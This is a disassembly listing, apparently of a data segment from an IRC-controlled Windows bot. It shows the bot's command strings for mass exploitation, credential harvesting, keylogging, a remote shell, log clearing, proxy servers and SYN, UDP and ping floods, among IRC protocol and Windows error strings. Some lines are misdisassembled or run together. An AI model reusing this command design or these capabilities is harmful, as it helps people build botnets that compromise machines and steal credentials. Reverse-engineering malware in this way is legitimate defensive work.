		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: sub_40CE55+184Co
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: sub_40CE55+1835o
		align 10h
aEnz_n		db 'enz.n',0            ; DATA XREF: sub_40CE55+181Eo
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: sub_40CE55+1807o
		align 4
aVall		db 'vall',0             ; DATA XREF: sub_40CE55+17E1o
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: sub_40CE55+17CCo
		align 10h
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: sub_40CE55+17B7o
		align 10h
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: sub_40CE55+17A2o
		align 10h
aServer_web_on	db 'server.web.on',0    ; DATA XREF: sub_40CE55+178Do
		align 10h
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: sub_40CE55+1778o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: sub_40CE55+1763o
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: sub_40CE55+174Eo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40CE55+1739o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40CE55+1724o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40CE55+170Fo
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40CE55+16FAo
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: sub_40CE55+16E5o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: sub_40CE55+16D0o
dword_435C68	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+16BFo
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40CE55+168Bo
					; sub_415050+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40CE55+167Eo
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40CE55+165Co
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: sub_40CE55+1643o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40CE55+1638o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40CE55+1633o
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: sub_40CE55+161Ao
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: sub_40CE55+1605o
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: sub_40CE55+15F0o
aBox_dll	db 'box.dll',0          ; DATA XREF: sub_40CE55+15DBo
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: sub_40CE55+15C6o
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: sub_40CE55+15B1o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: sub_40CE55+159Co
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: sub_40CE55+1587o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: sub_40CE55+1572o
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: sub_40CE55+155Do
aBox_harvest	db 'box.harvest',0      ; DATA XREF: sub_40CE55+1548o
aBox_ps		db 'box.ps',0           ; DATA XREF: sub_40CE55+1533o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: sub_40CE55+151Eo
		align 10h
aEnz_b3g	db 'enz.b3g',0          ; DATA XREF: sub_40CE55+1509o
aEnz_beg0ne	db 'enz.beg0ne',0       ; DATA XREF: sub_40CE55+14F4o
		align 4
aBox_si		db 'box.si',0           ; DATA XREF: sub_40CE55+14DFo
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: sub_40CE55+14CAo
aBox_ni		db 'box.ni',0           ; DATA XREF: sub_40CE55+14B5o
		align 10h
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: sub_40CE55+14A0o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40CE55+148Bo
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40CE55+1476o
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: sub_40CE55+1461o
		align 10h
aEnz_log	db 'enz.log',0          ; DATA XREF: sub_40CE55+144Co
aEnz_al		db 'enz.al',0           ; DATA XREF: sub_40CE55+1437o
		align 10h
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: sub_40CE55+1422o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40CE55+140Do
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40CE55+13F8o
		align 4
dword_435E08	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+13C4o
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 10h
dword_435E40	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+13BDo
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: sub_40CE55+13A6o
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: sub_40CE55+1391o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: sub_40CE55+137Co
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: sub_40CE55+1367o
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: sub_40CE55+1352o
		align 10h
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: sub_40CE55+133Do
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: sub_40CE55+1328o
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: sub_40CE55+1313o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: sub_40CE55+12FEo
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: sub_40CE55+12E9o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: sub_40CE55+12D4o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: sub_40CE55+12BFo
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: sub_40CE55+12AAo
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40CE55+129Fo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40CE55+129Ao
		align 10h
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: sub_40CE55+1281o
		align 4
dword_435F1C	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: sub_40CE55+1271o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40CE55+1258o
		align 4
dword_435F44	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: sub_40CE55+1248o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40CE55+122Fo
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: sub_40CE55+121Ao
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: sub_40CE55+1205o
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: sub_40CE55+11F0o
		align 10h
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: sub_40CE55+11DBo
		align 4
dword_435FA4	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: sub_40CE55+11B2o
dword_435FC0	dd 69027002h, 1F671F6Eh, 2E2Ehdword_435FCC	dd 676E6950h, 6F6C6620h, 646Fhdword_435FD8	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_435FE8	dd 64027502h, 2E1F701Fh, 2Ehdword_435FF4	dd 20504455h, 6F6F6C66h, 64hdword_436000	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_436010	dd 79027302h, 2E1F6E1Fh, 2Ehdword_43601C	dd 206E7953h, 6F6F6C66h, 64hdword_436028	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_436038	dd 64026402h, 1F731F6Fh, 2E2Ehdword_436044	dd 536F4444h, 6F6C6620h, 646Fhdword_436050	dd 736F6464h, 66666F2Eh, 0dword_43605C	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_43606C	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: sub_40CE55+10E5o
dword_436090	dd 6F026C02h, 2E1F671Fh, 2Ehdword_43609C	dd 20676F4Ch, 7473696Ch, 0dword_4360A8	dd 2E676F6Ch, 66666Fhdword_4360B0	dd 74026802h, 641F7074h, 2E2E1Fhdword_4360BC	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_4360CC	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: sub_40CE55+1070o
		align 10h
dword_4360F0	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer		db 'Server',0           ; DATA XREF: sub_40CE55+1049o
					; sub_40CE55+1089o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: sub_40CE55+1030o
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: sub_40CE55+101Bo
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: sub_40CE55+1006o
		align 10h
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40CE55+FF1o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40CE55+FDCo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40CE55+FC7o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40CE55+FB2o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: sub_40CE55+F9Do
aEnz_version	db 'enz.version',0      ; DATA XREF: sub_40CE55+F88o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: sub_40CE55+F73o
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: sub_40CE55+F5Eo
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: sub_40CE55+F49o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: sub_40CE55+F34o
aEnz_rn		db 'enz.rn',0           ; DATA XREF: sub_40CE55+F1Fo
		align 10h
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: sub_40CE55+F07o
a63		db '63',0               ; DATA XREF: sub_40CE55+DE0o
		align 10h
asc_4361C0:				; DATA XREF: sub_40CE55+DB8o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40CE55+D7Bo
		align 4
aServer_2	db '$server',0          ; DATA XREF: sub_40CE55+D70o
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40CE55+D5Fo
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40CE55+D43o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40CE55+D32o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40CE55+D20o
aD_0		db '$%d',0              ; DATA XREF: sub_40CE55+CB2o
aD_1		db '$%d-',0             ; DATA XREF: sub_40CE55+BF7o
		align 10h
aHi_0		db 'hi',0               ; DATA XREF: sub_40CE55+B1Fo
		align 4
aNewshit	db 'newshit',0          ; DATA XREF: sub_40CE55+B07o
dword_43620C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AD5o
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_436250	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AC7o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_436294	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AB9o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_26	db '  Failed to start chat thread, error: <%d>.',0
dword_4362DC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+A4Ao
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_40CE55+9B3o
		align 4
dword_436318	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+996o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_43636C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+978o
					; sub_40CE55+4733o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start transfer thread, error: <%d>.',0
dword_4363B8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40CE55+967o
		dd 0A0Dh
dword_4363D0	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40CE55+8EDo
		align 4
dword_4363F4	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40CE55+8D3o
		dd 0D017325h, 0Ah
dword_436410	dd 52455601h, 4E4F4953h, 1dword_43641C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+788o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40CE55+6E5o
		align 4
dword_436464	dd 43434401h, 0	dword_43646C	dd 323333h						; sub_40CE55+B41o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40CE55+62Co
					; sub_412D4C+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40CE55+620o
					; sub_412D4C+16o
dword_436480	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5CFo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4364B4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A8o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40CE55+571o
aPart		db 'PART',0             ; DATA XREF: sub_40CE55+523o
					; sub_40CE55+5ECo
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40CE55+4FBo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40CE55+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+36Eo
					; sub_40CE55+610o
dword_436514	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+355o
					; sub_40CE55+5A5Do ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40CE55+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+28Do
					; sub_40CE55+4AEBo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40CE55+265o
a302		db '302',0              ; DATA XREF: sub_40CE55+22Ao
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1E4o
					; sub_40CE55+3B4o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_40CE55+1A9o
		align 4
asc_436588	db ' :',0               ; DATA XREF: sub_40CE55+86o
					; sub_40CE55:loc_40D9EEo
		align 4
dword_43658C	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365D8	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_4365F4:				; DATA XREF: sub_412B98+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_436608	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412B98+13Fo
dword_43661C	dd 25207325h, 253A2073h, 0A0D73hoff_436628	dd offset aAdd		; DATA XREF: sub_412DE7+6Dr
					; sub_4131CB+50r ...
					; "Add"
off_43662C	dd offset aAdded	; DATA XREF: sub_412DE7+2Dr
					; sub_4131CB+82r ...
					; "Added"
dword_436630	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		dd 0
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43669Ch, 436694h,	2, 436688h, 43667Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .nsp0:0043665Co
aStop_0		db 'Stop',0             ; DATA XREF: .nsp0:00436658o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:00436650o
aStart_0	db 'Start',0            ; DATA XREF: .nsp0:0043664Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:00436644o
		align 4
aList_0		db 'List',0             ; DATA XREF: .nsp0:00436640o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:00436638o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:00436634o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:off_43662Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:off_436628o
dword_4366F0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_436728	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_436764	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F10+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412F10:loc_413028o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412F10:loc_413021o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412F10:loc_41301Ao
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412F10:loc_413013o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412F10:loc_41300Co
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412F10:loc_413005o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412F10:loc_412FFEo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412F10:loc_412FF7o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412F10:loc_412FF0o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412F10:loc_412FE9o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412F10:loc_412FBEo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412F10:loc_412FB7o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412F10:loc_412FB0o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412F10:loc_412FA9o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412F10+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412F10:loc_412F7Eo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412F10:loc_412F74o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412F10:loc_412F6Ao
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412F10:loc_412F60o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412F10:loc_412F56o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0
					; DATA XREF: sub_412F10:loc_412F4Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41308E+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41308E:loc_41315Ao
aStarting	db '   Starting',0      ; DATA XREF: sub_41308E:loc_413153o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41308E:loc_41314Co
aRunning_0	db '    Running',0      ; DATA XREF: sub_41308E:loc_413145o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41308E:loc_41313Eo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41308E:loc_413137o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41308E:loc_413130o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_41308E+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41308E+25o
		align 4
dword_436CCC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_436D04	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_436D34	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C0+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4133C0+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4133C0+B5o
dword_436D94	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4133C0+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4133C0+26o
		align 4
dword_436E08	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_436E44	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436E84	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_436EB8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413627+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_413627+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_413627+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413627+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_413627+2ECo
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_413627+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_413627+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_413627+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_413627+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_413627+21Eo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_413627+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_413627+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_413627+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_413627+178o
		align 10h
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_413627+14Do
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_413627+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_413627:loc_413740o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_413627:loc_413739o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_413627+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_413627+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_413627+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_413627+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4139F5+14Fo
		align 4
dword_437078	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F5+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_4139F5+BEo
		align 10h
dword_4370C0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F5+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F5+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_413B75:loc_413C92o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_413B75:loc_413C8Bo
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_413B75:loc_413C84o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_413B75:loc_413C7Do
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_413B75:loc_413C76o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_413B75:loc_413C59o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_413B75:loc_413C52o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_413B75:loc_413C4Bo
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_413B75+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_413B75:loc_413C20o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B75:loc_413C19o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_413B75:loc_413C12o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B75:loc_413C08o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_413B75+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_413B75:loc_413BE2o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_413B75:loc_413BD8o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_413B75:loc_413BCEo
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_413B75:loc_413BC4o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_413B75:loc_413BBAo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_413B75+3Bo
		align 4
